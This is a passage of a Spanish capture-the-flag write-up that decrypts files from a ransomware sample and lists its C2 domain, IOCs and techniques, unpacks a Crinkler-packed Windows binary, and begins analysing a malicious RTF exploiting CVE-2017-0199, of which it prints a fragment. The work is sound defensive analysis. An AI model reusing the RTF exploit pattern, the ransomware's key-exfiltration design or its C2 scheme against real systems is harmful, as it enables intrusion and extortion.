KEY=$(printf %s "$CT" | cut -d: -f1 | cut -c1-16)
IV=$(printf %s "$CT" | cut -d: -f2)
echo "KEY=[$KEY]  IV=[$IV]"; printf %s "$KEY" | xxd -p; printf %s "$IV" | xxd -p
```

Salida esperada

```
KEY=[gAu,UovL8;,B2fOT]  IV=[B;?ShTiD]
6741752c556f764c383b2c4232664f54
423b3f5368546944
```

Captura pendiente — guardar la captura de este paso como `capturas/ccn-20.png` y recompilar.

Paso 21. Descifrar con Blowfish-CBC

Blowfish está en el *provider legacy* de OpenSSL 3.

```
(kali@kali)-[~/ctf/ccn-cry]$
openssl enc -d -bf-cbc -provider legacy -provider default \
  -K "$(printf %s "$KEY" | xxd -p)" -iv "$(printf %s "$IV" | xxd -p)" \
  -in Secret.txt.CCN_CRY -out Secret.txt && cat Secret.txt; echo
```

Salida esperada

```
Flag: JosephPopp1989
```

Captura pendiente — guardar la captura de este paso como `capturas/ccn-21.png` y recompilar.

Paso 22. Flag en MD5

```
(kali@kali)-[~/ctf/ccn-cry]$
echo -n "JosephPopp1989" | md5sum
```

Salida esperada

```
c890082bbb38d2aad5eb182cac9fbc7e  -
```

Flag: `flag{c890082bbb38d2aad5eb182cac9fbc7e}` (validada en la plataforma).

Captura pendiente — guardar la captura de este paso como `capturas/ccn-22.png` y recompilar.

3.6. Resultado

Flag de CCN-Cry (validada)

`flag{c890082bbb38d2aad5eb182cac9fbc7e}`

Contenido descifrado de `Secret.txt`: `Flag: JosephPopp1989`.

3.7. Funcionamiento del ransomware

- **Objetivo**: recorre el directorio `/home/robertM/` (`opendir`/`readdir`/`__xstat`) buscando ficheros cuya extensión (`strrchr`) esté en una lista de unas 150 (documentos, imágenes, bases de datos, código, claves...).
- **Cifrado**: Blowfish-CBC (`EVP_bf_cbc`) con clave efectiva de 128 bits; escribe `<fichero>.CCN_CRY` y borra el original (`remove`).
- **Clave**: 32 caracteres + IV de 8 tomados de un alfabeto de 78 símbolos con `rand() % 78`, sembrado con la hora (`srand(time(0))`).
- **Mando y control**: `GET /user.php` a `www.aarkaposleeqaasssf.tk:8080` con `Content-type: clave:iv:hostname`.

Debilidades explotadas: (1) la clave viaja en claro por HTTP y queda en la captura; (2) aunque no viajara, `srand(time)` haría posible la fuerza bruta probando las semillas cercanas a la hora del incidente; (3) la misma clave sirve para todos los ficheros.

3.8. Indicadores de compromiso (IOC)

Tipo	Valor
IP víctima	`192.168.1.41` (*hostname* `oat12`)
IP servidor	`192.168.1.37` (HTTP/80 distribución, HTTP/8080 mando y control)
Dominio C2	`www.aarkaposleeqaasssf.tk`
URL	`http://192.168.1.37/wget.tar.gz`, `http://www.aarkaposleeqaasssf.tk:8080/user.php`
Fichero	`ccn_cry` (ELF x86-64), MD5 `e1e1d64b6d6349ed81fa4ee0913ef931`
Extensión	`.CCN_CRY`
Ruta objetivo	`/home/robertM/`
Firma de red	Cabecera `Content-type` con formato `[32 car.]:[8 car.]:[hostname]`

3.9. Técnicas observadas (MITRE ATT&CK)

T1105	*Ingress Tool Transfer*: descarga de `wget.tar.gz` por HTTP.
T1486	*Data Encrypted for Impact*: cifrado Blowfish de los ficheros de la víctima.
T1083	*File and Directory Discovery*: recorrido de `/home/robertM/`.
T1082	*System Information Discovery*: `gethostname`.
T1071.001	*Application Layer Protocol: Web*: comunicación con el C2 por HTTP.
T1041	*Exfiltration Over C2 Channel*: envío de la clave y el IV.
T1070.004	*File Deletion*: borrado de los originales.
T1046	*Network Service Discovery*: la captura termina con un barrido de puertos desde `.41` hacia `.37` con puerto origen fijo (patrón típico de `nmap -sS`).

3.10. Contexto: ¿por qué se llama así?

- **CCN-Cry** une **CCN** (Centro Criptológico Nacional, del que depende el CCN-CERT español) y **Cry**, por **WannaCry** (2017), el ransomware más famoso. La extensión `.CCN_CRY` imita la costumbre de renombrar los ficheros cifrados (WannaCry usaba `.WNCRY`).
- El dominio `aarkaposleeqaasssf.tk` es una ristra aleatoria al estilo del *kill-switch* de WannaCry (`iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com`). `.tk` (Tokelau) fue durante años un dominio gratuito muy usado por malware.
- **Joseph Popp, 1989**: autor del **AIDS Trojan** (o *PC Cyborg*), considerado el **primer ransomware de la historia**. Repartió unos 20.000 disquetes entre asistentes a la conferencia de la OMS sobre el SIDA; tras 90 arranques ocultaba los directorios y cifraba los nombres de los ficheros, y exigía 189 dólares a un apartado postal de Panamá. Su cifrado era simétrico y la clave estaba en el propio programa: igual que en este reto, el error del atacante deja la clave al alcance del analista.
- **Blowfish**: cifrado de bloque de 64 bits diseñado por Bruce Schneier en 1993. En OpenSSL 3 se considera *legacy*, por eso hay que cargar ese *provider*.

3.11. Conclusión

Un ransomware que transmite su clave en claro es reversible con la propia evidencia de red. El análisis estático del binario fue imprescindible para descubrir el detalle que hace fallar el descifrado ingenuo: la longitud de clave fijada a 16 bytes.

4. Reversing: The Kraken

4.1. Ficha del reto

Categoría	Reversing (Windows, PE x86)
Dificultad	2/5
Objetivo	Encontrar la flag dentro de `TheKraken.exe`
Herramientas	`xxd`, `objdump`, Python (`pefile`, `unicorn`), lista de exports de Wine

4.2. Enunciado

Encuentra la flag. (Fichero: TheKraken.exe, MD5 33b0654d8e104031155c999e2f163bbd)

4.3. Ficheros analizados

Fichero	Bytes	Descripción
`TheKraken.exe`	932	PE x86 comprimido con Crinkler
`MD5 33b0654d8e104031155c999e2f163bbd`		`SHA1 426bad3e513925841a60aa7518e94397f7710564`
`SHA256 b2480f3115096e4d7d36bc19f01961031d610cfc7877f085b6d17a96aa207666`		
`unpacked.bin`	65.536	Volcado 0x420000–0x430000 tras emular el descompresor
`MD5 2f79b36350bc4b84177bfee5d5be4711`		`SHA1 a0ccc2367a6f62853e757e123f6d1bc58b0c56c9`
`SHA256 cca4097e7555cb77944d95ced2d85310dd95365d07fb25057c03094b2353bc56`		

4.4. Resumen del análisis

1. El ejecutable mide 932 bytes, tiene la cabecera PE solapada con la DOS (`MZ23PE`), 0 secciones y `SizeOfImage` de 500 MB: es un ejecutable comprimido con **Crinkler** (versión 2.3).
2. En lugar de ejecutarlo, se **emula** el descompresor con Unicorn y se vuelca el código real (0x420000).
3. El código desempaquetado resuelve 8 APIs de `kernel32` por hash; con la lista de exports de Wine se identifican: entre ellas `GetACP` y `OutputDebugStringA`.
4. `main` descifra 23 bytes usando el byte bajo de `GetACP()` y los envía al depurador. Probando los 256 valores, solo uno produce texto legible terminado en `\0`.

4.5. Procedimiento paso a paso

Paso 1. Preparar la carpeta y verificar el fichero

```
(kali@kali)-[~]$
mkdir -p ~/ctf/kraken && cd ~/ctf/kraken && cp \
  ~/ctf/retos/'Reversing The Kraken'/TheKraken-*.exe TheKraken.exe && md5sum \
  TheKraken.exe && file TheKraken.exe && ls -l TheKraken.exe
```

Salida esperada

```
33b0654d8e104031155c999e2f163bbd  TheKraken.exe
TheKraken.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
-rw-r--r-- 1 root root 932 Nov 12 06:09 TheKraken.exe
```

`file` lo confunde con un ensamblado .NET (falso positivo causado por la cabecera manipulada). 932 bytes es un tamaño absurdo para un ejecutable de Windows normal.

Captura pendiente — guardar la captura de este paso como `capturas/kraken-01.png` y recompilar.

Paso 2. Cabecera: MZ23PE

```
(kali@kali)-[~/ctf/kraken]$
xxd TheKraken.exe | head -8
```

Salida esperada

```
00000000: 4d5a 3233 5045 0000 4c01 0000 01db 617f  MZ23PE..L.....a.
00000010: 10d0 1773 7547 ebf9 0800 0200 0b01 11c9  ...suG..........
00000020: 4585 c079 1f01 d350 f7e2 903d 5c00 0000  E..y...P...=\...
00000030: f7f3 39c1 19db eb48 0000 4000 0400 0000  ..9....H..@.....
00000040: 0400 0000 0fa3 2d44 0140 008d 0400 ebce  ......-D.@......
00000050: 0000 0000 ebb6 421f 4000 0000 5331 edbb  ......B.@...S1..
00000060: 0300 0000 90be 2801 4000 6a01 58bf 0000  ......(.@.j.X...
00000070: 4200 b100 9057 eb12 0000 0000 0000 0000  B....W..........
```

`MZ` seguido de `23` (versión 2.3 de Crinkler) y `PE\0\0` en el offset 4 (`e_lfanew = 4` en 0x3c): la cabecera PE está solapada con la DOS.

Captura pendiente — guardar la captura de este paso como `capturas/kraken-02.png` y recompilar.

Paso 3. Estructura PE

```
(kali@kali)-[~/ctf/kraken]$
python3 $S/pe_info.py TheKraken.exe
```

Salida esperada

```
Machine           : 0x14c  (x86)
TimeDateStamp     : 2037-09-21 04:18:09 UTC
e_lfanew          : 0x4
NumberOfSections  : 0
ImageBase         : 0x400000
EntryPoint (RVA)  : 0x5c
SizeOfImage       : 0x1f42b6eb  (500.2 MB)
Subsystem         : 3
DataDirectories   : 0
Firma Authenticode: no
```

0 secciones, 0 *data directories*, *entry point* en 0x5c (dentro de la propia cabecera) y `SizeOfImage` de unos 500 MB para reservar memoria al descompresor. La fecha de compilación (2037) es imposible: Crinkler reutiliza esos bytes de la cabecera como código y datos.

Captura pendiente — guardar la captura de este paso como `capturas/kraken-03.png` y recompilar.

Paso 4. Descompresor de Crinkler en el entry point

```
(kali@kali)-[~/ctf/kraken]$
objdump -D -b binary -m i386 -M intel --start-address=0x5c --stop-address=0x8a \
  TheKraken.exe | tail -n +8
```

Salida esperada

```
  5c:   53                      push   ebx
  5d:   31 ed                   xor    ebp,ebp
  5f:   bb 03 00 00 00          mov    ebx,0x3
  64:   90                      nop
  65:   be 28 01 40 00          mov    esi,0x400128
  6a:   6a 01                   push   0x1
  6c:   58                      pop    eax
  6d:   bf 00 00 42 00          mov    edi,0x420000
  72:   b1 00                   mov    cl,0x0
  74:   90                      nop
  75:   57                      push   edi
  76:   eb 12                   jmp    0x8a
        ...
  80:   5a                      pop    edx
  81:   72 07                   jb     0x8a
  83:   92                      xchg   edx,eax
  84:   29 d1                   sub    ecx,edx
  86:   04 00                   add    al,0x0
  88:   29 d0                   sub    eax,edx
```

`mov edi,0x420000` + `push edi`: destino del código descomprimido, al que se saltará con un `ret`.

Captura pendiente — guardar la captura de este paso como `capturas/kraken-04.png` y recompilar.

Paso 5. Emular el descompresor con Unicorn (sin ejecutar el .exe)

```
(kali@kali)-[~/ctf/kraken]$
time python3 $S/kraken_emu.py TheKraken.exe unpacked.bin
```

Salida esperada

```
instrucciones emuladas: 1
salto a código desempaquetado: 0x420000
volcado 0x420000..0x430000 -> unpacked.bin
python3 $S/kraken_emu.py TheKraken.exe unpacked.bin  14.49s user 0.43s system 98% cpu 15.122
    ↪ total
```

Se emula la CPU x86 hasta que el flujo salta a 0x420000 y se vuelca esa memoria.

Captura pendiente — guardar la captura de este paso como `capturas/kraken-05.png` y recompilar.

Paso 6. Resolver de imports por hash (PEB -> kernel32)

```
(kali@kali)-[~/ctf/kraken]$
objdump -D -b binary -m i386 -M intel --adjust-vma=0x420000 --start-address=0x420000 \
  --stop-address=0x42007f unpacked.bin | tail -n +8 | head -45
```

Salida esperada

```
  420000:       bb 08 01 40 00          mov    ebx,0x400108
  420005:       be b8 03 42 00          mov    esi,0x4203b8
  42000a:       bf 00 00 43 00          mov    edi,0x430000
  42000f:       58                      pop    eax
  420010:       8b 40 0c                mov    eax,DWORD PTR [eax+0xc]
  420013:       8b 40 0c                mov    eax,DWORD PTR [eax+0xc]
  420016:       8b 00                   mov    eax,DWORD PTR [eax]
  420018:       8b 00                   mov    eax,DWORD PTR [eax]
  42001a:       8b 68 18                mov    ebp,DWORD PTR [eax+0x18]
  42001d:       31 c0                   xor    eax,eax
```

```
  42001f:       ac                      lods   al,BYTE PTR ds:[esi]
  420020:       91                      xchg   ecx,eax
  420021:       60                      pusha
  420022:       8b 45 3c                mov    eax,DWORD PTR [ebp+0x3c]
  420025:       01 e8                   add    eax,ebp
  420027:       8b 50 78                mov    edx,DWORD PTR [eax+0x78]
  42002a:       01 ea                   add    edx,ebp
  42002c:       8b 4a 18                mov    ecx,DWORD PTR [edx+0x18]
  42002f:       8b 42 20                mov    eax,DWORD PTR [edx+0x20]
  420032:       01 e8                   add    eax,ebp
  420034:       8b 74 88 fc             mov    esi,DWORD PTR [eax+ecx*4-0x4]
  420038:       01 ee                   add    esi,ebp
  42003a:       31 ff                   xor    edi,edi
  42003c:       c1 c7 06                rol    edi,0x6
  42003f:       31 c0                   xor    eax,eax
  420041:       ac                      lods   al,BYTE PTR ds:[esi]
  420042:       31 c7                   xor    edi,eax
  420044:       48                      dec    eax
  420045:       7d f5                   jge    0x42003c
  420047:       3b 3b                   cmp    edi,DWORD PTR [ebx]
  420049:       e0 e4                   loopne 0x42002f
  42004b:       8b 42 24                mov    eax,DWORD PTR [edx+0x24]
  42004e:       01 e8                   add    eax,ebp
  420050:       66 8b 0c 48             mov    cx,WORD PTR [eax+ecx*2]
  420054:       8b 42 1c                mov    eax,DWORD PTR [edx+0x1c]
  420057:       01 e8                   add    eax,ebp
  420059:       8b 04 88                mov    eax,DWORD PTR [eax+ecx*4]
  42005c:       89 44 24 1c             mov    DWORD PTR [esp+0x1c],eax
  420060:       61                      popa
  420061:       01 e8                   add    eax,ebp
  420063:       ab                      stos   DWORD PTR es:[edi],eax
  420064:       83 c3 04                add    ebx,0x4
  420067:       e2 b8                   loop   0x420021
  420069:       56                      push   esi
  42006a:       ff 15 0c 00 43 00       call   DWORD PTR ds:0x43000c
```

`mov eax,[eax+0xc]` (PEB→Ldr), recorrido de exports y `rol edi,0x6 ; xor edi,eax`: hash de cada nombre comparado con la tabla de `0x400108`. Las direcciones resueltas van a la IAT en `0x430000`.

Captura pendiente — guardar la captura de este paso como `capturas/kraken-06.png` y recompilar.

Paso 7. Main: llamada a [0x430000] y array cifrado de 23 bytes

```
(kali@kali)-[~/ctf/kraken]$
objdump -D -b binary -m i386 -M intel --adjust-vma=0x420000 --start-address=0x420193 \
  --stop-address=0x420210 unpacked.bin | tail -n +8
```

Salida esperada

```
  420193:       ff 15 00 00 43 00       call   DWORD PTR ds:0x430000
  420199:       89 45 c0                mov    DWORD PTR [ebp-0x40],eax
  42019c:       c6 45 e4 e5             mov    BYTE PTR [ebp-0x1c],0xe5
  4201a0:       c6 45 e5 7a             mov    BYTE PTR [ebp-0x1b],0x7a
  4201a4:       c6 45 e6 77             mov    BYTE PTR [ebp-0x1a],0x77
  4201a8:       c6 45 e7 fb             mov    BYTE PTR [ebp-0x19],0xfb
  4201ac:       c6 45 e8 e1             mov    BYTE PTR [ebp-0x18],0xe1
  4201b0:       c6 45 e9 56             mov    BYTE PTR [ebp-0x17],0x56
  4201b4:       c6 45 ea 68             mov    BYTE PTR [ebp-0x16],0x68
  4201b8:       c6 45 eb fd             mov    BYTE PTR [ebp-0x15],0xfd
  4201bc:       c6 45 ec fd             mov    BYTE PTR [ebp-0x14],0xfd
  4201c0:       c6 45 ed f8             mov    BYTE PTR [ebp-0x13],0xf8
```

```
4201c4:       c6 45 ee 79             mov    BYTE PTR [ebp-0x12],0x79
4201c8:       c6 45 ef 01             mov    BYTE PTR [ebp-0x11],0x1
4201cc:       c6 45 f0 02             mov    BYTE PTR [ebp-0x10],0x2
4201d0:       c6 45 f1 ff             mov    BYTE PTR [ebp-0xf],0xff
4201d4:       c6 45 f2 7d             mov    BYTE PTR [ebp-0xe],0x7d
4201d8:       c6 45 f3 83             mov    BYTE PTR [ebp-0xd],0x83
4201dc:       c6 45 f4 7e             mov    BYTE PTR [ebp-0xc],0x7e
4201e0:       c6 45 f5 86             mov    BYTE PTR [ebp-0xb],0x86
4201e4:       c6 45 f6 67             mov    BYTE PTR [ebp-0xa],0x67
4201e8:       c6 45 f7 66             mov    BYTE PTR [ebp-0x9],0x66
4201ec:       c6 45 f8 64             mov    BYTE PTR [ebp-0x8],0x64
4201f0:       c6 45 f9 66             mov    BYTE PTR [ebp-0x7],0x66
4201f4:       c6 45 fa cd             mov    BYTE PTR [ebp-0x6],0xcd
4201f8:       c7 45 d8 00 00 00 00    mov    DWORD PTR [ebp-0x28],0x0
4201ff:       eb 09                   jmp    0x42020a
420201:       8b 55 d8                mov    edx,DWORD PTR [ebp-0x28]
420204:       83 c2 01                add    edx,0x1
420207:       89 55 d8                mov    DWORD PTR [ebp-0x28],edx
42020a:       83 7d d8 17             cmp    DWORD PTR [ebp-0x28],0x17
42020e:       73 56                   jae    0x420266
```

Captura pendiente — guardar la captura de este paso como `capturas/kraken-07.png` y recompilar.

Paso 8. Bucle de descifrado y salida por [0x430010]

```
(kali@kali)-[~/ctf/kraken]$
objdump -D -b binary -m i386 -M intel --adjust-vma=0x420000 --start-address=0x420210 \
  --stop-address=0x420272 unpacked.bin | tail -n +8
```

Salida esperada

```
420210:       8b 45 d8                mov    eax,DWORD PTR [ebp-0x28]
420213:       8a 4c 05 e4             mov    cl,BYTE PTR [ebp+eax*1-0x1c]
420217:       88 4d e3                mov    BYTE PTR [ebp-0x1d],cl
42021a:       0f b6 55 e3             movzx  edx,BYTE PTR [ebp-0x1d]
42021e:       83 f2 7c                xor    edx,0x7c
420221:       88 55 e3                mov    BYTE PTR [ebp-0x1d],dl
420224:       8b 45 c0                mov    eax,DWORD PTR [ebp-0x40]
420227:       25 ff 00 00 00          and    eax,0xff
42022c:       0f b6 4d e3             movzx  ecx,BYTE PTR [ebp-0x1d]
420230:       03 c8                   add    ecx,eax
420232:       88 4d e3                mov    BYTE PTR [ebp-0x1d],cl
420235:       0f b6 55 e3             movzx  edx,BYTE PTR [ebp-0x1d]
420239:       f7 da                   neg    edx
42023b:       88 55 e3                mov    BYTE PTR [ebp-0x1d],dl
42023e:       0f b6 45 e3             movzx  eax,BYTE PTR [ebp-0x1d]
420242:       c1 f8 07                sar    eax,0x7
420245:       0f b6 4d e3             movzx  ecx,BYTE PTR [ebp-0x1d]
420249:       d1 e1                   shl    ecx,1
42024b:       0b c1                   or     eax,ecx
42024d:       88 45 e3                mov    BYTE PTR [ebp-0x1d],al
420250:       0f b6 55 e3             movzx  edx,BYTE PTR [ebp-0x1d]
420254:       2b 55 d8                sub    edx,DWORD PTR [ebp-0x28]
420257:       88 55 e3                mov    BYTE PTR [ebp-0x1d],dl
42025a:       8b 45 d8                mov    eax,DWORD PTR [ebp-0x28]
42025d:       8a 4d e3                mov    cl,BYTE PTR [ebp-0x1d]
420260:       88 4c 05 e4             mov    BYTE PTR [ebp+eax*1-0x1c],cl
420264:       eb 9b                   jmp    0x420201
420266:       8d 55 e4                lea    edx,[ebp-0x1c]
420269:       52                      push   edx
42026a:       ff 15 10 00 43 00       call   DWORD PTR ds:0x430010
420270:       33 c0                   xor    eax,eax
```

Por cada byte c: $c \oplus$ `0x7C`, $+$ (byte bajo del valor devuelto por `[0x430000]`), negación, rotación de 1 bit a la izquierda y $-\,i$. Después `call [0x430010]` con el texto.

Captura pendiente — guardar la captura de este paso como `capturas/kraken-08.png` y recompilar.

Paso 9. Lista de exports de kernel32 (Wine)

```
(kali@kali)-[~/ctf/kraken]$
curl -sSLo kernel32.spec \
  https://raw.githubusercontent.com/wine-mirror/wine/master/dlls/kernel32/kernel32.spec \
  && wc -l kernel32.spec
```

Salida esperada

```
1740 kernel32.spec
```

Captura pendiente — guardar la captura de este paso como `capturas/kraken-09.png` y recompilar.

Paso 10. Identificar APIs por hash y descifrar

```
(kali@kali)-[~/ctf/kraken]$
python3 $S/kraken_solve.py TheKraken.exe kernel32.spec
```

Salida esperada

```
== Imports resueltos (IAT en 0x430000) ==
  [0x430000]  hash=0x35002069  ->  GetACP
  [0x430004]  hash=0x3d4b4991  ->  GetCurrentProcess
  [0x430008]  hash=0x02aef17b  ->  IsProcessorFeaturePresent
  [0x43000c]  hash=0xe9826fc6  ->  LoadLibraryA
  [0x430010]  hash=0x12d183bb  ->  OutputDebugStringA
  [0x430014]  hash=0x06a232ca  ->  SetUnhandledExceptionFilter
  [0x430018]  hash=0x3ccc4310  ->  TerminateProcess
  [0x43001c]  hash=0x4ba23380  ->  UnhandledExceptionFilter

== Candidatos legibles según el byte bajo devuelto por [0x430000] ==
  k=0x44 ( 68): 'Flag: Kongespeilet1250' + '\x00'
```

`[0x430000]` = `GetACP` (página de códigos ANSI) y `[0x430010]` = `OutputDebugStringA`: la flag **nunca sale por consola**, solo por el canal de depuración. De los 256 valores posibles solo uno da texto legible terminado exactamente en `\x00`.

Captura pendiente — guardar la captura de este paso como `capturas/kraken-10.png` y recompilar.

Paso 11. Flag en MD5

```
(kali@kali)-[~/ctf/kraken]$
echo -n "Kongespeilet1250" | md5sum
```

Salida esperada

```
d11c2e023a6a0fb3105121dade32232b  -
```

Flag: `flag{d11c2e023a6a0fb3105121dade32232b}`.

Captura pendiente — guardar la captura de este paso como `capturas/kraken-11.png` y recompilar.

4.6. Resultado

Flag de The Kraken

`flag{d11c2e023a6a0fb3105121dade32232b}`

Texto descifrado: `Flag: Kongespeilet1250` (con `k = 0x44`).

4.7. Imports resueltos por hash

Algoritmo del *resolver*: $h \leftarrow \mathrm{rol}_{32}(h, 6) \oplus c$ para cada carácter c del nombre, incluido el nulo final.

IAT	Hash	API
`0x430000`	`0x35002069`	`GetACP` — página de códigos ANSI; su byte bajo es la clave
`0x430004`	`0x3d4b4991`	`GetCurrentProcess`
`0x430008`	`0x02aef17b`	`IsProcessorFeaturePresent`
`0x43000c`	`0xe9826fc6`	`LoadLibraryA`
`0x430010`	`0x12d183bb`	`OutputDebugStringA` — salida de la flag
`0x430014`	`0x06a232ca`	`SetUnhandledExceptionFilter`
`0x430018`	`0x3ccc4310`	`TerminateProcess`
`0x43001c`	`0x4ba23380`	`UnhandledExceptionFilter`

Las cuatro últimas pertenecen al código estándar de Visual C++ para la comprobación de *stack cookies* (`__report_gsfailure`).

4.8. Algoritmo de descifrado

Para cada posición $i \in [0, 22]$ del array de `main`:

$$c'_i = \mathrm{rol}_8\big(\,-\,((c_i \oplus \texttt{0x7C}) + k) \bmod 256,\ 1\big) - i \pmod{256}, \qquad k = \texttt{GetACP}() \,\&\, \texttt{0xFF}$$

Por qué al ejecutarlo "no pasa nada": (1) el texto va a `OutputDebugStringA`, que solo se ve con un depurador o con *DebugView* de Sysinternals; (2) el descifrado depende de la página de códigos del sistema, y con las habituales (1252 en Europa occidental, 65001 UTF-8…) sale basura. El camino previsto es el reversing. El bucle de números `double` del principio de `main` llama a dos funciones vacías y no afecta al resultado: es relleno para despistar.

4.9. Técnicas observadas (MITRE ATT&CK)

T1027.002	*Software Packing*: Crinkler.
T1027.007	*Dynamic API Resolution*: imports resueltos por hash recorriendo el PEB.
T1614.001	*System Language Discovery*: `GetACP` condiciona el resultado.
T1027	*Obfuscated Files or Information*: cadena cifrada y salida por canal de depuración.

4.10. Contexto: ¿por qué se llama así?

- El **Kraken** es el monstruo marino de la tradición escandinava, capaz de hundir barcos. Su **primera descripción conocida** está en el *Konungs skuggsjá* (en noruego **Kongespeilet**, "El espejo del rey"), un texto noruego escrito **hacia el año 1250**, donde aparece como *hafgufa*, una criatura tan grande que los marineros la confundían con una isla. La flag es, literalmente, "el origen del Kraken".

- Como el monstruo, el binario oculta su tamaño real: 932 bytes en disco que se despliegan en memoria. **Kraken** es además el nombre de un algoritmo de compresión (Oodle Kraken), y el reto gira en torno a un compresor.
- **Crinkler** es un compresor-enlazador creado para la demoscene (intros de 4 KB) por Rune L. H. Stubbe (*Mentor*) y Aske Simon Christensen (*Blueberry*). Su firma es la cabecera `MZ` seguida de la versión en ASCII y `PE` en el offset 4.

4.11. Conclusión

Un ejecutable diminuto puede esconder mucho: empaquetado, resolución dinámica de APIs, dependencia del idioma del sistema y salida por un canal invisible. La emulación permite desempaquetar sin riesgo y el reconocimiento de patrones (hash de nombres, terminador nulo) valida la solución sin necesidad de ejecutar el programa.

5. Reversing: Spear Phishing... Can you catch me? (partes 1 y 2)

5.1. Ficha del reto

Categoría	Reversing / análisis de documentos maliciosos
Dificultad	1/5
Contraseña	`infected` (rar)
Objetivo parte 1	Determinar qué CVE explota el documento (formato `CVE-XXXX-XXXX`)
Objetivo parte 2	Determinar la URL dañina relacionada con el documento (se desbloquea al resolver la parte 1)
Herramientas	`unrar`, `rtfobj` (oletools), `grep`, `xxd`, Python

5.2. Enunciado

> *Un empleado ha reportado al equipo de seguridad un e-mail sospechoso que podría ser fruto de una campaña de spear phishing a la compañía. Al parecer, el documento carece de contenido alguno y presenta un formato poco común. Es probable que el mismo se aproveche de alguna vulnerabilidad y que el equipo haya sido comprometido. Tu objetivo será determinar qué CVE trata de explotar dicho documento (CVE-XXXX-XXXX).* [Parte 2:] *... determinar qué URL dañina está relacionada con el mismo.*

5.3. Ficheros analizados

Fichero	Bytes	Descripción
`suspicious_.rar`	835	RAR 2.9 cifrado del enunciado (partes 1 y 2)
`MD5 6c51db1b0f92b7a8777c6822c2f9a8a5` `SHA1 b7d5c1699bce2fa79ae15ceb6b1e83458f4cebfa`		
`SHA256 5229eadd99fd1f655031a61989c34e93a886680bf67d7f9322c66608ac7a1366`		
`Nominas.rtf`	5.725	Documento RTF malicioso, sin texto
`MD5 799417ddacb87275c7121e1620415be3` `SHA1 08b631db46e76a8be206f9d5cf9a33048f7e3b80`		
`SHA256 95a8640ee03bde7f16b660d4e6303bb838a4adfc0bb3775c6a5940ccaaa01c64`		

5.4. Resumen del análisis

1. El RAR (formato 2.9, cifrado AES) contiene `Nominas.rtf`: un RTF **sin texto**.
2. Su único contenido es un objeto OLE con `\objautlink\objupdate` (se actualiza solo al abrirse) de clase `OLE2Link`, que contiene un **URL Moniker** apuntando a `http://dagobah.local/logo.doc`.
3. Ese patrón es exactamente el de **CVE-2017-0199**. `rtfobj` lo confirma y extrae la URL.

5.5. Procedimiento paso a paso

Paso 1. Preparar la carpeta y verificar el RAR

```
(kali@kali)-[~]$
mkdir -p ~/ctf/spear && cd ~/ctf/spear && cp \
  ~/ctf/retos/'Reversing Spear Phising... Can you catch me'/suspicious_*.rar \
  suspicious_.rar && md5sum suspicious_.rar
```

Salida esperada

```
6c51db1b0f92b7a8777c6822c2f9a8a5  suspicious_.rar
```

Captura pendiente — guardar la captura de este paso como `capturas/spear-01.png` y recompilar.

Paso 2. Listar el RAR

```
(kali@kali)-[~/ctf/spear]$
unrar lt -pinfected suspicious_.rar | grep \
  -E 'Name|Type|Size|Packed|mtime|Flags|Compression'
```

Salida esperada

```
        Name: Nominas.rtf
        Type: File
        Size: 5725
 Packed size: 752
       mtime: 2017-09-09 18:11:08,729711700
 Compression: RAR 1.5(v29) -m3 -md=128k
       Flags: encrypted
```

Un único fichero `Nominas.rtf` (nóminas), cifrado, con fecha 09/09/2017.

Captura pendiente — guardar la captura de este paso como `capturas/spear-02.png` y recompilar.

Paso 3. Extraer y verificar

```
(kali@kali)-[~/ctf/spear]$
unrar x -o+ -pinfected suspicious_.rar > /dev/null && ls -l Nominas.rtf && md5sum \
  Nominas.rtf && file Nominas.rtf
```

Salida esperada

```
-rw-r--r-- 1 root root 5725 Sep  9  2017 Nominas.rtf
799417ddacb87275c7121e1620415be3  Nominas.rtf
Nominas.rtf: Rich Text Format data, version 1, ANSI, code page 1252, default middle east
    ↪ language ID 1025
```

Captura pendiente — guardar la captura de este paso como `capturas/spear-03.png` y recompilar.

Paso 4. Contenido del RTF: no tiene texto

```
(kali@kali)-[~/ctf/spear]$
head -c 760 Nominas.rtf; echo
```

Salida esperada

```
{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhi
ch31506\stshfbi31507\deflang1033\deflangfe2052\themelang1033\themelangfe2052\themelangcs0
{\info
{\author }
{\operator }
}
{\*\xmlnstbl {\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}
{
{\object\objautlink\objupdate\rsltpict\objw291\objh230\objscalex99\objscaley101
{\*\objclass Word.Document.8}
{\*\objdata 0105000002000000
090000004f4c45324c696e6b0000000000000000000000a0000
```

```
d0cf11e0a1b11ae1000000000000000000000000000003e000300feff090006000000000000000000000100000
0010000000000000000100000020000000100000fefffffe0000000000000000ffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffff
```

Solo hay un `\object` con `\objautlink` y `\objupdate` (el enlace se actualiza solo al abrir) y un `\objdata` en hexadecimal.

Captura pendiente — guardar la captura de este paso como `capturas/spear-04.png` y recompilar.

Paso 5. Palabras de control y firmas clave

```
(kali@kali)-[~/ctf/spear]$
grep -oE -e objautlink -e objupdate -e 'objclass [A-Za-z.0-9]+' -e 4f4c45324c696e6b \
  -e e0c9ea79f9bace118c8200aa004ba90b Nominas.rtf | sort | uniq -c
```

Salida esperada

```
      1 4f4c45324c696e6b
      1 e0c9ea79f9bace118c8200aa004ba90b
      1 objautlink
      1 objclass Word.Document.8
      1 objupdate
```

Captura pendiente — guardar la captura de este paso como `capturas/spear-05.png` y recompilar.

Paso 6. Decodificar la clase del objeto

```
(kali@kali)-[~/ctf/spear]$
echo 4f4c45324c696e6b | xxd -r -p; echo
```

Salida esperada

```
OLE2Link
```

`OLE2Link`: objeto OLE *enlazado* (no incrustado). El CLSID `e0c9ea79...` es el **URL Moniker**.

Captura pendiente — guardar la captura de este paso como `capturas/spear-06.png` y recompilar.

Paso 7. Análisis con rtfobj (oletools)

```
(kali@kali)-[~/ctf/spear]$
rtfobj Nominas.rtf | tail -n +5
```

Salida esperada

```
================================================================================
File: 'Nominas.rtf' - size: 5725 bytes
---+----------+------------------------------------------------------------
id |index     |OLE Object
---+----------+------------------------------------------------------------
0  |000001A2h |format_id: 2 (Embedded)
   |          |class name: b'OLE2Link'
   |          |data size: 2560
   |          |MD5 = '9fef81351c107c98ad700549735f3bf8'
   |          |CLSID: 00000300-0000-0000-C000-000000000046
   |          |StdOleLink (embedded OLE object - Known Related to
